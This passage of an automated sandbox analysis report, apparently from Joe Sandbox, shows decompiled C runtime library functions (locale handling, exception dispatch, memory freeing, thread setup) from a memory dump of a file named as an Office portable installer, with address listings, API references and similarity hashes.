									goto L2;
								}
							}
						}
					}
				} else {
					L1:
					L2:
					_pop(_t199);
					_pop(_t206);
					_pop(_t159);
					return E000CC7C7(_t159, _v8 ^ _t208, _t188, _t199, _t206);
				}
				L65:
			}

0x000d7146
0x000d7147
0x000d7149
0x000d714f
0x000d7156
0x000d715c
0x000d715d
0x000d7160
0x000d7161
0x000d7164
0x000d7165
0x000d7168
0x000d716e
0x000d7174
0x000d7179
0x000d717f
0x000d7185
0x000d718b
0x000d7191
0x000d7197
0x000d719f
0x000d71a7
0x000d71c5
0x000d71cc
0x000d71d1
0x000d71d4
0x000d71d6
0x000d742e
0x000d742e
0x000d7430
0x000d7431
0x000d7432
0x000d7433
0x000d7434
0x00000000
0x000d71dc
0x000d71dc
0x000d71e0
0x000d7211
0x000d7212
0x000d7218
0x000d721e
0x000d7223
0x000d7251
0x000d7251
0x000d7265
0x000d726b
0x000d726e
0x000d7274
0x000d7275
0x000d7277
0x000d72f0
0x00000000
0x000d7279
0x000d7279
0x000d727f
0x000d7280
0x000d7282
0x000d7288
0x000d7289
0x000d728a
0x000d7293
0x000d728c
0x000d728c
0x000d728c
0x000d7298
0x000d729b
0x000d729d
0x000d72f6
0x000d72f7
0x000d72fd
0x000d72ff
0x000d741d
0x000d7422
0x000d7425
0x000d7427
0x00000000
0x000d7429
0x00000000
0x000d7429
0x000d7305
0x000d7314
0x000d7319
0x000d731c
0x000d731e
0x000d732a
0x000d732a
0x000d7330
0x000d7320
0x000d7320
0x000d7326
0x000d7328
0x00000000
0x00000000
0x000d7328
0x000d7339
0x000d7341
0x000d734f
0x000d7354
0x000d7357
0x000d7359
0x00000000
0x000d735f
0x000d7365
0x000d736a
0x000d736d
0x000d736f
0x00000000
0x000d7375
0x000d737f
0x000d7384
0x000d7387
0x000d7389
0x00000000
0x000d738f
0x000d738f
0x00000000
0x000d738f
0x000d7389
0x000d736f
0x000d7359
0x000d729f
0x000d72a5
0x000d72a6
0x000d72b2
0x000d72b7
0x000d72ba
0x000d72bc
0x000d7394
0x000d7394
0x000d7396
0x000d7399
0x000d73c2
0x000d73c8
0x000d73ca
0x00000000
0x000d739b
0x000d739b
0x000d73a1
0x000d73a3
0x00000000
0x000d73a5
0x000d73af
0x000d73b4
0x000d73b7
0x000d73b9
0x000d73cd
0x000d73cd
0x00000000
0x000d73bb
0x000d73bb
0x000d73bc
0x000d73bd
0x000d73be
0x000d73bf
0x000d7435
0x000d7435
0x000d743a
0x000d743b
0x000d743e
0x000d7441
0x000d7442
0x000d7444
0x000d7447
0x000d746b
0x000d746e
0x000d7449
0x000d7449
0x000d744a
0x000d744d
0x000d744d
0x000d7458
0x000d745d
0x000d7460
0x000d7462
0x00000000
0x00000000
0x000d7464
0x000d7465
0x000d7468
0x00000000
0x000d746a
0x00000000
0x000d746a
0x00000000
0x000d7468
0x000d746f
0x000d7470
0x000d7471
0x000d7472
0x000d7473
0x000d7474
0x000d7479
0x000d747a
0x000d747c
0x000d7481
0x000d7486
0x000d7488
0x000d748b
0x000d748f
0x000d74ad
0x000d74af
0x000d74b2
0x000d74b7
0x000d74bb
0x000d74cc
0x000d74ce
0x000d74d1
0x000d74d3
0x000d74db
0x000d74e1
0x000d74ec
0x000d74f3
0x000d74f7
0x000d750b
0x000d750d
0x000d7510
0x000d7512
0x000d75cb
0x000d75d1
0x000d7518
0x000d7518
0x000d751c
0x000d7526
0x000d752d
0x000d752f
0x000d7531
0x000d7531
0x000d752f
0x000d753d
0x000d7543
0x000d754a
0x000d754f
0x000d7555
0x000d755d
0x000d7561
0x000d7563
0x000d756a
0x000d7574
0x000d757b
0x000d7587
0x000d7592
0x000d759a
0x000d759a
0x000d756a
0x000d759f
0x000d75a3
0x000d75a3
0x000d7512
0x000d75d8
0x000d75df
0x000d75e4
0x000d7491
0x000d7496
0x000d749c
0x000d74a1
0x000d74a1
0x000d75eb
0x000d75eb
0x000d7447
0x000d73b9
0x000d73a3
0x000d72c2
0x000d72db
0x000d72e0
0x000d72e3
0x000d72e5
0x00000000
0x000d72eb
0x00000000
0x000d72eb
0x000d72e5
0x000d72bc
0x000d729d
0x000d7225
0x000d722c
0x000d7233
0x000d7235
0x000d73d3
0x000d73d3
0x000d73d5
0x000d73e0
0x000d73e5
0x000d73e5
0x000d73e8
0x000d73ee
0x000d73f9
0x000d73fe
0x000d7401
0x000d7403
0x00000000
0x000d7405
0x00000000
0x000d7405
0x000d723b
0x000d7242
0x000d7249
0x000d724b
0x00000000
0x00000000
0x00000000
0x00000000
0x000d724b
0x000d7235
0x000d71e2
0x000d71e2
0x000d71e6
0x00000000
0x000d71e8
0x000d71e8
0x000d71f7
0x000d71fc
0x000d71ff
0x000d7201
0x00000000
0x000d7207
0x000d7207
0x000d7209
0x000d720b
0x000d720b
0x00000000
0x000d720d
0x000d7201
0x000d71e6
0x000d71e0
0x000d71a9
0x000d71a9
0x000d71ab
0x000d71ae
0x000d71af
0x000d71b2
0x000d71b9
0x000d71b9
0x00000000

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

_wcscmp.LIBCMT ref: 000D722C
_wcscmp.LIBCMT ref: 000D7242
___lc_wcstolc.LIBCMT ref: 000D726E
___get_qualified_locale.LIBCMT ref: 000D7293

Part of subcall function 000DE851: _TranslateName.LIBCMT ref: 000DE891
Part of subcall function 000DE851: _GetLocaleNameFromLangCountry.LIBCMT ref: 000DE8AA
Part of subcall function 000DE851: _TranslateName.LIBCMT ref: 000DE8C5
Part of subcall function 000DE851: _GetLocaleNameFromLangCountry.LIBCMT ref: 000DE8DB
Part of subcall function 000DE851: IsValidCodePage.KERNEL32(00000000,?,?,00000055,?,?,000D7298,?,?,?,?,00000004,?,00000000), ref: 000DE92F

GetACP.KERNEL32(?,?,?,?,?,00000004,?,00000000), ref: 000D732A
_memmove.LIBCMT ref: 000D73E0
__invoke_watson.LIBCMT ref: 000D7435

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Name$CountryFromLangLocaleTranslate_wcscmp$CodePageValid___get_qualified_locale___lc_wcstolc__getptd_noexit__invoke_watson_memmove
String ID:
API String ID: 90596148-0
Opcode ID: 99a1761b5ec4876bdf299f3780ff2b3520873a6c436e22158e95f54e6f8372c3
Instruction ID: 3e14683e6b5ff295e2d5f02adbb67f38340ae6b2fdade16ab663c562c91876b4
Opcode Fuzzy Hash: 99a1761b5ec4876bdf299f3780ff2b3520873a6c436e22158e95f54e6f8372c3
Instruction Fuzzy Hash: 9F717D75904366ABDB21AB25CC45BEF76A9AF54300F1404ABFD0CA6342FB309E518BB1

Uniqueness

Uniqueness Score: -1.00%

Function 000D061D, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 102
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E000D061D(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t44;
				void* _t45;
				signed int _t49;
				intOrPtr _t54;
				intOrPtr _t58;
				intOrPtr _t61;
				intOrPtr* _t64;
				intOrPtr _t70;
				signed int* _t73;
				void* _t75;
				void* _t76;

				_t57 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t64 = _a4;
				_t77 =  *_t64 - 0x80000003;
				if( *_t64 == 0x80000003) {
					L19:
					return _t44;
				}
				_t45 = E000D4F6A(_t64, _t77);
				_t78 =  *((intOrPtr*)(_t45 + 0x80));
				_t54 = _a20;
				if( *((intOrPtr*)(_t45 + 0x80)) == 0) {
					L6:
					if( *((intOrPtr*)(_t54 + 0xc)) == 0) {
						E000D6E3C();
					}
					_t44 = E000CEEDB(_t57, _t54, _a28, _a24,  &_v12,  &_v8);
					_t58 = _v12;
					_t61 = _v8;
					_t76 = _t75 + 0x14;
					if(_t58 >= _t61) {
						L18:
						goto L19;
					} else {
						_t17 = _t44 + 0xc; // 0xc
						_t73 = _t17;
						_t44 = _a24;
						do {
							if(_t44 >=  *((intOrPtr*)(_t73 - 0xc)) && _t44 <=  *((intOrPtr*)(_t73 - 8))) {
								_t49 =  *_t73 << 4;
								if( *((intOrPtr*)(_t73[1] + _t49 - 0xc)) == 0) {
									L14:
									_t50 = _t49 + _t73[1] + 0xfffffff0;
									_t70 = _a4;
									if(( *(_t49 + _t73[1] + 0xfffffff0) & 0x00000040) == 0) {
										_push(1);
										_t35 = _t73 - 0xc; // 0x0
										E000D01BA(_t54, _t61, _t73, _t70, _a8, _a12, _a16, _t54, _t50, 0, _t35, _a28, _a32);
										_t61 = _v8;
										_t58 = _v12;
										_t76 = _t76 + 0x2c;
									}
									L16:
									_t44 = _a24;
									goto L17;
								}
								_t61 = _v8;
								_t54 = _a20;
								if( *((char*)( *((intOrPtr*)(_t73[1] + _t49 - 0xc)) + 8)) != 0) {
									goto L16;
								}
								goto L14;
							}
							L17:
							_t58 = _t58 + 1;
							_t73 =  &(_t73[5]);
							_v12 = _t58;
						} while (_t58 < _t61);
						goto L18;
					}
				}
				__imp__EncodePointer(0);
				if( *((intOrPtr*)(E000D4F6A(_t64, _t78) + 0x80)) != _t45 &&  *_t64 != 0xe0434f4d &&  *_t64 != 0xe0434352) {
					_t44 = E000CEE06(_t64, _a8, _a12, _a16, _t54, _a28, _a32);
					_t75 = _t75 + 0x1c;
					if(_t44 != 0) {
						goto L18;
					}
				}
			}

0x000d061d
0x000d0620
0x000d0621
0x000d0623
0x000d0626
0x000d062c
0x000d0734
0x000d0736
0x000d0736
0x000d0634
0x000d0639
0x000d0640
0x000d0643
0x000d068d
0x000d0691
0x000d0693
0x000d0693
0x000d06a7
0x000d06ac
0x000d06af
0x000d06b2
0x000d06b7
0x000d0732
0x00000000
0x000d06b9
0x000d06b9
0x000d06b9
0x000d06bc
0x000d06bf
0x000d06c2
0x000d06ce
0x000d06d7
0x000d06ec
0x000d06f2
0x000d06f4
0x000d06fa
0x000d06fc
0x000d0701
0x000d0716
0x000d071b
0x000d071e
0x000d0721
0x000d0721
0x000d0724
0x000d0724
0x00000000
0x000d0724
0x000d06e0
0x000d06e7
0x000d06ea
0x00000000
0x00000000
0x00000000
0x000d06ea
0x000d0727
0x000d0727
0x000d0728
0x000d072b
0x000d072e
0x00000000
0x000d06bf
0x000d06b7
0x000d0647
0x000d065a
0x000d067d
0x000d0682
0x000d0687
0x00000000
0x00000000
0x000d0687

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

EncodePointer.KERNEL32(00000000), ref: 000D0647
_CallSETranslator.LIBCMT ref: 000D067D
_GetRangeOfTrysToCheck.LIBCMT ref: 000D06A7

Strings

RCC, xrefs: 000D0664
MOC, xrefs: 000D065C
1I, xrefs: 000D0634

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CallCheckEncodePointerRangeTranslatorTrys__getptd_noexit
String ID: MOC$RCC$1I
API String ID: 3337196757-93079928
Opcode ID: 02eabe91f89339e6f53be524eeeeb74a1bff3ae8457c072735a36e2ca31b5839
Instruction ID: 94070c8309b5d2010caf3fe082464201ec410e7b0188b84fd9b31e13f6c5df33
Opcode Fuzzy Hash: 02eabe91f89339e6f53be524eeeeb74a1bff3ae8457c072735a36e2ca31b5839
Instruction Fuzzy Hash: 63312736900209EFDF218F54C881FAEB7A6EF84314F19815AE9095B352D375E961DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000CBAC0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E000CBAC0(intOrPtr __edx, intOrPtr* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _v36;
				char _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int _t30;
				void* _t43;
				signed int _t48;
				signed int _t49;
				char _t51;
				void* _t52;
				intOrPtr _t54;
				signed int _t66;
				void* _t67;
				intOrPtr* _t69;
				intOrPtr* _t70;
				void* _t71;
				signed int _t72;
				void* _t78;

				_t64 = __edx;
				_push(0xffffffff);
				_push(E000E3818);
				_push( *[fs:0x0]);
				_t29 =  *0xef6ac; // 0xcff43140
				_t30 = _t29 ^ _t72;
				_v20 = _t30;
				_push(_t30);
				 *[fs:0x0] =  &_v16;
				_t69 = _a4;
				_v36 = _t69;
				E000CBFC9( &_v28, 0);
				_v8 = 0;
				_t66 =  *0xf0ae0; // 0x1
				_t51 =  *0xf1bdc; // 0x9b8338
				_v32 = _t51;
				if(_t66 == 0) {
					E000CBFC9( &_v24, _t66);
					_t78 =  *0xf0ae0 - _t66; // 0x1
					if(_t78 == 0) {
						_t48 =  *0xf0ad0; // 0x2
						_t49 = _t48 + 1;
						 *0xf0ad0 = _t49;
						 *0xf0ae0 = _t49;
					}
					E000CC028( &_v24);
					_t66 =  *0xf0ae0; // 0x1
				}
				_t54 =  *_t69;
				if(_t66 >=  *((intOrPtr*)(_t54 + 0xc))) {
					_t70 = 0;
					goto L8;
				} else {
					_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + _t66 * 4));
					if(_t70 != 0) {
						L17:
						E000CC028( &_v28);
						 *[fs:0x0] = _v16;
						_pop(_t67);
						_pop(_t71);
						_pop(_t52);
						return E000CC7C7(_t52, _v20 ^ _t72, _t64, _t67, _t71);
					}
					L8:
					if( *((char*)(_t54 + 0x14)) == 0) {
						L11:
						if(_t70 != 0) {
							goto L17;
						}
						L12:
						if(_t51 == 0) {
							if(E000C8130(_t64,  &_v32, _v36) == 0xffffffff) {
								E000CD5AB( &_v48, "bad cast");
								E000CEBFB( &_v48, 0xed74c);
							}
							_t70 = _v32;
							 *0xf1bdc = _t70;
							_t64 =  *_t70;
							 *((intOrPtr*)( *_t70 + 4))();
							E000CC160(_t70);
						} else {
							_t70 = _t51;
						}
						goto L17;
					}
					_t43 = E000CC188();
					if(_t66 >=  *((intOrPtr*)(_t43 + 0xc))) {
						goto L12;
					}
					_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t43 + 8)) + _t66 * 4));
					goto L11;
				}
			}

0x000cbac0
0x000cbac3
0x000cbac5
0x000cbad0
0x000cbad4
0x000cbad9
0x000cbadb
0x000cbae1
0x000cbae5
0x000cbaeb
0x000cbaf3
0x000cbaf6
0x000cbafb
0x000cbb02
0x000cbb08
0x000cbb0e
0x000cbb13
0x000cbb19
0x000cbb1e
0x000cbb24
0x000cbb26
0x000cbb2b
0x000cbb2c
0x000cbb31
0x000cbb31
0x000cbb39
0x000cbb3e
0x000cbb3e
0x000cbb44
0x000cbb49
0x000cbb57
0x00000000
0x000cbb4b
0x000cbb4e
0x000cbb53
0x000cbbc3
0x000cbbc6
0x000cbbd0
0x000cbbd8
0x000cbbd9
0x000cbbda
0x000cbbe8
0x000cbbe8
0x000cbb59
0x000cbb5d
0x000cbb6f
0x000cbb71
0x00000000
0x00000000
0x000cbb73
0x000cbb75
0x000cbb8d
0x000cbb97
0x000cbba5
0x000cbba5
0x000cbbaa
0x000cbbad
0x000cbbb3
0x000cbbb7
0x000cbbbb
0x000cbb77
0x000cbb77
0x000cbb77
0x00000000
0x000cbb75
0x000cbb5f
0x000cbb67
0x00000000
0x00000000
0x000cbb6c
0x00000000
0x000cbb6c

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000CBAF6

Part of subcall function 000CBFC9: __lock.LIBCMT ref: 000CBFDA

std::_Lockit::_Lockit.LIBCPMT ref: 000CBB19
std::bad_exception::bad_exception.LIBCMT ref: 000CBB97
__CxxThrowException@8.LIBCMT ref: 000CBBA5
std::_Facet_Register.LIBCPMT ref: 000CBBBB

Strings

bad cast, xrefs: 000CBB8F

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: std::_$LockitLockit::_$Exception@8Facet_RegisterThrow__lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 153433846-3145022300
Opcode ID: 1cd0bad2483b52e918f102e66b5b886180059b6002f715b500d69e8f7c0f0a3d
Instruction ID: 1336f410859b2d8c47a008a71b787d9f2eb4057ec768c15c749bd131d69f09a4
Opcode Fuzzy Hash: 1cd0bad2483b52e918f102e66b5b886180059b6002f715b500d69e8f7c0f0a3d
Instruction Fuzzy Hash: 94318976D002159FDB21DF95E882FAEB7B4FF04720F14422EE816A7692DB74AD01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000CBBF0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E000CBBF0(intOrPtr __edx, intOrPtr* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _v36;
				char _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int _t30;
				void* _t43;
				signed int _t48;
				signed int _t49;
				char _t51;
				void* _t52;
				intOrPtr _t54;
				signed int _t66;
				void* _t67;
				intOrPtr* _t69;
				intOrPtr* _t70;
				void* _t71;
				signed int _t72;
				void* _t78;

				_t64 = __edx;
				_push(0xffffffff);
				_push(E000E3818);
				_push( *[fs:0x0]);
				_t29 =  *0xef6ac; // 0xcff43140
				_t30 = _t29 ^ _t72;
				_v20 = _t30;
				_push(_t30);
				 *[fs:0x0] =  &_v16;
				_t69 = _a4;
				_v36 = _t69;
				E000CBFC9( &_v28, 0);
				_v8 = 0;
				_t66 =  *0xf1bf4; // 0x2
				_t51 =  *0xf1bd8; // 0x9b8620
				_v32 = _t51;
				if(_t66 == 0) {
					E000CBFC9( &_v24, _t66);
					_t78 =  *0xf1bf4 - _t66; // 0x2
					if(_t78 == 0) {
						_t48 =  *0xf0ad0; // 0x2
						_t49 = _t48 + 1;
						 *0xf0ad0 = _t49;
						 *0xf1bf4 = _t49;
					}
					E000CC028( &_v24);
					_t66 =  *0xf1bf4; // 0x2
				}
				_t54 =  *_t69;
				if(_t66 >=  *((intOrPtr*)(_t54 + 0xc))) {
					_t70 = 0;
					goto L8;
				} else {
					_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + _t66 * 4));
					if(_t70 != 0) {
						L17:
						E000CC028( &_v28);
						 *[fs:0x0] = _v16;
						_pop(_t67);
						_pop(_t71);
						_pop(_t52);
						return E000CC7C7(_t52, _v20 ^ _t72, _t64, _t67, _t71);
					}
					L8:
					if( *((char*)(_t54 + 0x14)) == 0) {
						L11:
						if(_t70 != 0) {
							goto L17;
						}
						L12:
						if(_t51 == 0) {
							if(E000CBD20(_t64,  &_v32, _v36) == 0xffffffff) {
								E000CD5AB( &_v48, "bad cast");
								E000CEBFB( &_v48, 0xed74c);
							}
							_t70 = _v32;
							 *0xf1bd8 = _t70;
							_t64 =  *_t70;
							 *((intOrPtr*)( *_t70 + 4))();
							E000CC160(_t70);
						} else {
							_t70 = _t51;
						}
						goto L17;
					}
					_t43 = E000CC188();
					if(_t66 >=  *((intOrPtr*)(_t43 + 0xc))) {
						goto L12;
					}
					_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t43 + 8)) + _t66 * 4));
					goto L11;
				}
			}

0x000cbbf0
0x000cbbf3
0x000cbbf5
0x000cbc00
0x000cbc04
0x000cbc09
0x000cbc0b
0x000cbc11
0x000cbc15
0x000cbc1b
0x000cbc23
0x000cbc26
0x000cbc2b
0x000cbc32
0x000cbc38
0x000cbc3e
0x000cbc43
0x000cbc49
0x000cbc4e
0x000cbc54
0x000cbc56
0x000cbc5b
0x000cbc5c
0x000cbc61
0x000cbc61
0x000cbc69
0x000cbc6e
0x000cbc6e
0x000cbc74
0x000cbc79
0x000cbc87
0x00000000
0x000cbc7b
0x000cbc7e
0x000cbc83
0x000cbcf3
0x000cbcf6
0x000cbd00
0x000cbd08
0x000cbd09
0x000cbd0a
0x000cbd18
0x000cbd18
0x000cbc89
0x000cbc8d
0x000cbc9f
0x000cbca1
0x00000000
0x00000000
0x000cbca3
0x000cbca5
0x000cbcbd
0x000cbcc7
0x000cbcd5
0x000cbcd5
0x000cbcda
0x000cbcdd
0x000cbce3
0x000cbce7
0x000cbceb
0x000cbca7
0x000cbca7
0x000cbca7
0x00000000
0x000cbca5
0x000cbc8f
0x000cbc97
0x00000000
0x00000000
0x000cbc9c
0x00000000
0x000cbc9c

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000CBC26

Part of subcall function 000CBFC9: __lock.LIBCMT ref: 000CBFDA

std::_Lockit::_Lockit.LIBCPMT ref: 000CBC49
std::bad_exception::bad_exception.LIBCMT ref: 000CBCC7
__CxxThrowException@8.LIBCMT ref: 000CBCD5
std::_Facet_Register.LIBCPMT ref: 000CBCEB

Strings

bad cast, xrefs: 000CBCBF

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: std::_$LockitLockit::_$Exception@8Facet_RegisterThrow__lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 153433846-3145022300
Opcode ID: d5817cabf9fa65f0b241baaac57dae9a0e8a70507d8512d09ab31a31d3ec5d9b
Instruction ID: 18e74b3ddca3c04ec92a8b8170833b9fd015652dee19d754a27a90dc6c14e720
Opcode Fuzzy Hash: d5817cabf9fa65f0b241baaac57dae9a0e8a70507d8512d09ab31a31d3ec5d9b
Instruction Fuzzy Hash: 7531BD76D00619DFDB11DFA4D882FEEB7B4FB54720F10426DE816A7292DB34A901CB80

Uniqueness

Uniqueness Score: -1.00%

Function 000C7FE0, Relevance: 10.6, APIs: 7, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C7FE0(signed int* __ecx, void* __esi) {
				signed int _t20;
				signed int* _t32;
				signed int* _t36;
				void* _t38;
				void* _t39;

				_t36 = __ecx;
				E000CC2AE(__ecx);
				_t14 = _t36[0xb];
				_t39 = _t38 + 4;
				if(_t36[0xb] != 0) {
					E000CD081(_t14);
					_t39 = _t39 + 4;
				}
				_t36[0xb] = 0;
				_t15 = _t36[9];
				if(_t36[9] != 0) {
					E000CD081(_t15);
					_t39 = _t39 + 4;
				}
				_t36[9] = 0;
				_t16 = _t36[7];
				if(_t36[7] != 0) {
					E000CD081(_t16);
					_t39 = _t39 + 4;
				}
				_t36[7] = 0;
				_t17 = _t36[5];
				if(_t36[5] != 0) {
					E000CD081(_t17);
					_t39 = _t39 + 4;
				}
				_t36[5] = 0;
				_t18 = _t36[3];
				if(_t36[3] != 0) {
					E000CD081(_t18);
					_t39 = _t39 + 4;
				}
				_t36[3] = 0;
				_t19 = _t36[1];
				if(_t36[1] != 0) {
					E000CD081(_t19);
				}
				_t36[1] = 0;
				_t32 = _t36;
				_t20 =  *_t32;
				if(_t20 != 0) {
					if(_t20 < 4) {
						return E000CC762(0xf0a70 + _t20 * 0x18, 0xf0a70 + _t20 * 0x18);
					}
					return _t20;
				} else {
					return E000CF21A(0xc);
				}
			}

0x000c7fe1
0x000c7fe4
0x000c7fe9
0x000c7fec
0x000c7ff1
0x000c7ff4
0x000c7ff9
0x000c7ff9
0x000c7ffc
0x000c8003
0x000c8008
0x000c800b
0x000c8010
0x000c8010
0x000c8013
0x000c801a
0x000c801f
0x000c8022
0x000c8027
0x000c8027
0x000c802a
0x000c8031
0x000c8036
0x000c8039
0x000c803e
0x000c803e
0x000c8041
0x000c8048
0x000c804d
0x000c8050
0x000c8055
0x000c8055
0x000c8058
0x000c805f
0x000c8064
0x000c8067
0x000c806c
0x000c806f
0x000c8076
0x000cc028
0x000cc02c
0x000cc03a
0x00000000
0x000cc04a
0x000cc04b
0x000cc02e
0x000cc036
0x000cc036

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 000C7FE4

Part of subcall function 000CC2AE: _setlocale.LIBCMT ref: 000CC2BF

_free.LIBCMT ref: 000C7FF4

Part of subcall function 000CD081: RtlFreeHeap.NTDLL(00000000,00000000,?,000D4FE2,00000000,000D1266,000D410D,00000000,?,000CFC39,?,?,00000000), ref: 000CD095
Part of subcall function 000CD081: GetLastError.KERNEL32(00000000,?,000D4FE2,00000000,000D1266,000D410D,00000000,?,000CFC39,?,?,00000000,?,?,?,000D50DC), ref: 000CD0A7

_free.LIBCMT ref: 000C800B
_free.LIBCMT ref: 000C8022
_free.LIBCMT ref: 000C8039
_free.LIBCMT ref: 000C8050
_free.LIBCMT ref: 000C8067

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: 8d37186d4eecd2452359450dd78c3ee3e2f9e411bd5014621d373a9b7aa358fe
Instruction ID: 9f251730daa6bcf8ecf2e6877c539f44e9da86f9bd0a2dddbccf50ba357d15d9
Opcode Fuzzy Hash: 8d37186d4eecd2452359450dd78c3ee3e2f9e411bd5014621d373a9b7aa358fe
Instruction Fuzzy Hash: 0101EDE1A007004BEA709F65DC09F9B72D86F00744F14893DE84B87682FB75E5199BA6

Uniqueness

Uniqueness Score: -1.00%

Function 000D50A4, Relevance: 9.0, APIs: 6, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E000D50A4(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t28;

				E000D38FE(_t3);
				if(E000CF1E5() != 0) {
					_t6 = E000D0C69(E000D4E33);
					 *0xefd70 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t28 = E000CFC25(1, 0x3bc);
						__eflags = _t28;
						if(_t28 == 0) {
							L6:
							E000D511A();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E000D0CC5( *0xefd70, _t28);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t28);
								E000D4FF1(__ebx, __edx, __edi, _t28, __eflags);
								_t14 = GetCurrentThreadId();
								_t28[1] = _t28[1] | 0xffffffff;
								 *_t28 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E000D511A();
					return 0;
				}
			}

0x000d50a4
0x000d50b0
0x000d50bf
0x000d50c5
0x000d50ca
0x000d50cd
0x00000000
0x000d50cf
0x000d50dc
0x000d50e0
0x000d50e2
0x000d5111
0x000d5111
0x000d5116
0x000d5119
0x000d50e4
0x000d50f2
0x000d50f4
0x00000000
0x000d50f6
0x000d50f6
0x000d50f8
0x000d50f9
0x000d5100
0x000d5106
0x000d510a
0x000d510e
0x000d5110
0x000d5110
0x000d50f4
0x000d50e2
0x000d50b2
0x000d50b2
0x000d50b2
0x000d50b9
0x000d50b9

APIs

__init_pointers.LIBCMT ref: 000D50A4

Part of subcall function 000D38FE: RtlEncodePointer.NTDLL(00000000,?,000D50A9,000CE41E,000ED1B8,00000014), ref: 000D3901
Part of subcall function 000D38FE: __initp_misc_winsig.LIBCMT ref: 000D3922

__mtinitlocks.LIBCMT ref: 000D50A9

